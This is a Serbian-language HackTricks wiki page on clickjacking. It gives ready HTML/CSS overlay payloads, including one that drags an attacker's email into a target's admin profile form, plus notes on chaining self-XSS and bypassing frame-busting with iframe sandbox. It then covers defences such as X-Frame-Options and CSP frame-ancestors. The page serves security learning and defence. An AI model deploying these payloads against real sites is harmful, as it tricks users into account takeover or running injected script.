Clickjacking

Support HackTricks

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools. Get Access Today:

Šta je Clickjacking

U clickjacking napadu, korisnik je prevaren da klikne na element na veb stranici koji je ili nevidljiv ili prikazan kao drugi element. Ova manipulacija može dovesti do nepredviđenih posledica za korisnika, kao što su preuzimanje malvera, preusmeravanje na zlonamerne veb stranice, davanje kredencijala ili osetljivih informacija, transfer novca ili online kupovina proizvoda.

Prepopunjavanje obrazaca trik

Ponekad je moguće popuniti vrednost polja obrasca koristeći GET parametre prilikom učitavanja stranice. Napadač može zloupotrebiti ovo ponašanje da popuni obrazac proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme Pošalji.

Popuni obrazac sa Drag&Drop

Ako treba da korisnik popuni obrazac ali ne želite da ga direktno pitate da unese neke specifične informacije (kao što su email ili specifična lozinka koju znate), možete ga jednostavno zamoliti da Drag&Drop nešto što će uneti vaše kontrolisane podatke kao u ovom primeru.

Osnovni Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Multistep Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Drag&Drop + Click payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Ako ste identifikovali XSS napad koji zahteva da korisnik klikne na neki element da bi pokrenuo XSS i stranica je ranjiva na clickjacking, mogli biste to iskoristiti da prevarite korisnika da klikne na dugme/link. Primer: Pronašli ste self XSS u nekim privatnim podacima naloga (podaci koje samo vi možete postaviti i čitati). Stranica sa formom za postavljanje ovih podataka je ranjiva na Clickjacking i možete prepopuniti formu sa GET parametrima. __Napadač bi mogao pripremiti Clickjacking napad na tu stranicu prepopunjavajući formu sa XSS payload i prevariti korisnika da pošalje formu. Tako, kada se forma pošalje i vrednosti se modifikuju, korisnik će izvršiti XSS.

Strategije za ublažavanje Clickjacking-a

Klijentske odbrane

Skripte koje se izvršavaju na klijentskoj strani mogu izvesti radnje kako bi sprečile Clickjacking:

  • Osiguranje da je prozor aplikacije glavni ili gornji prozor.

  • Činjenje svih okvira vidljivim.

  • Sprečavanje klikova na nevidljive okvire.

  • Otkrivanje i upozoravanje korisnika na potencijalne pokušaje Clickjacking-a.

Međutim, ovi skripti za razbijanje okvira mogu biti zaobiđeni:

  • Bezbednosne postavke pregledača: Neki pregledači mogu blokirati ove skripte na osnovu svojih bezbednosnih postavki ili nedostatka podrške za JavaScript.

  • HTML5 iframe sandbox atribut: Napadač može neutralisati skripte za razbijanje okvira postavljanjem sandbox atributa sa allow-forms ili allow-scripts vrednostima bez allow-top-navigation. Ovo sprečava iframe da proveri da li je gornji prozor, npr.,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

The allow-forms i allow-scripts vrednosti omogućavaju akcije unutar iframe-a dok onemogućavaju navigaciju na vrhunskom nivou. Da bi se osigurala nameravana funkcionalnost ciljanog sajta, dodatne dozvole kao što su allow-same-origin i allow-modals mogu biti neophodne, u zavisnosti od tipa napada. Poruke u konzoli pretraživača mogu pomoći u određivanju koje dozvole treba omogućiti.

Server-Side Defenses

X-Frame-Options

X-Frame-Options HTTP odgovor header obaveštava pretraživače o legitimnosti prikazivanja stranice u <frame> ili <iframe>, pomažući u sprečavanju Clickjacking-a:

  • X-Frame-Options: deny - Nijedna domena ne može uokviriti sadržaj.

  • X-Frame-Options: sameorigin - Samo trenutni sajt može uokviriti sadržaj.

  • X-Frame-Options: allow-from https://trusted.com - Samo navedeni 'uri' može uokviriti stranicu.

  • Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači preferiraju CSP frame-ancestors direktivu.

Content Security Policy (CSP) frame-ancestors direktiva

frame-ancestors direktiva u CSP je preporučena metoda za zaštitu od Clickjacking-a:

  • frame-ancestors 'none' - Slično X-Frame-Options: deny.

  • frame-ancestors 'self' - Slično X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Slično X-Frame-Options: allow-from.

Na primer, sledeći CSP dozvoljava samo uokvirivanje sa iste domene:

Content-Security-Policy: frame-ancestors 'self';

Dalje informacije i složeni primeri mogu se naći u frame-ancestors CSP dokumentaciji i Mozilla's CSP frame-ancestors dokumentaciji.

Content Security Policy (CSP) sa child-src i frame-src

Content Security Policy (CSP) je bezbednosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada injekcijom koda tako što specificira koje izvore pretraživač treba da dozvoli za učitavanje sadržaja.

frame-src Direktiva

  • Definiše validne izvore za frame-ove.

  • Specifičnija je od default-src direktive.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ova politika omogućava okvire sa iste lokacije (self) i https://trusted-website.com.

child-src Direktiva

  • Uvedena u CSP nivou 2 za postavljanje validnih izvora za web radnike i okvire.

  • Deluje kao rezervna opcija za frame-src i worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ova politika omogućava okvire i radnike sa iste lokacije (self) i https://trusted-website.com.

Napomene o korišćenju:

  • Deprecacija: child-src se ukida u korist frame-src i worker-src.

  • Rezervno ponašanje: Ako frame-src nije prisutan, child-src se koristi kao rezervna opcija za okvire. Ako su oba odsutna, default-src se koristi.

  • Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili eksploataciju.

JavaScript skripte za razbijanje okvira

Iako nisu potpuno nepogrešive, skripte zasnovane na JavaScript-u za razbijanje okvira mogu se koristiti za sprečavanje da web stranica bude u okviru. Primer:

if (top !== self) {
top.location = self.location;
}

Zapošljavanje Anti-CSRF Tokena

  • Validacija Tokena: Koristite anti-CSRF tokene u web aplikacijama kako biste osigurali da su zahtevi koji menjaju stanje namerno izvršeni od strane korisnika, a ne putem Clickjacked stranice.

Reference

Koristite Trickest za lako kreiranje i automatizaciju radnih tokova pokretanih najnaprednijim alatima zajednice. Pribavite pristup danas:

Podržite HackTricks

Last updated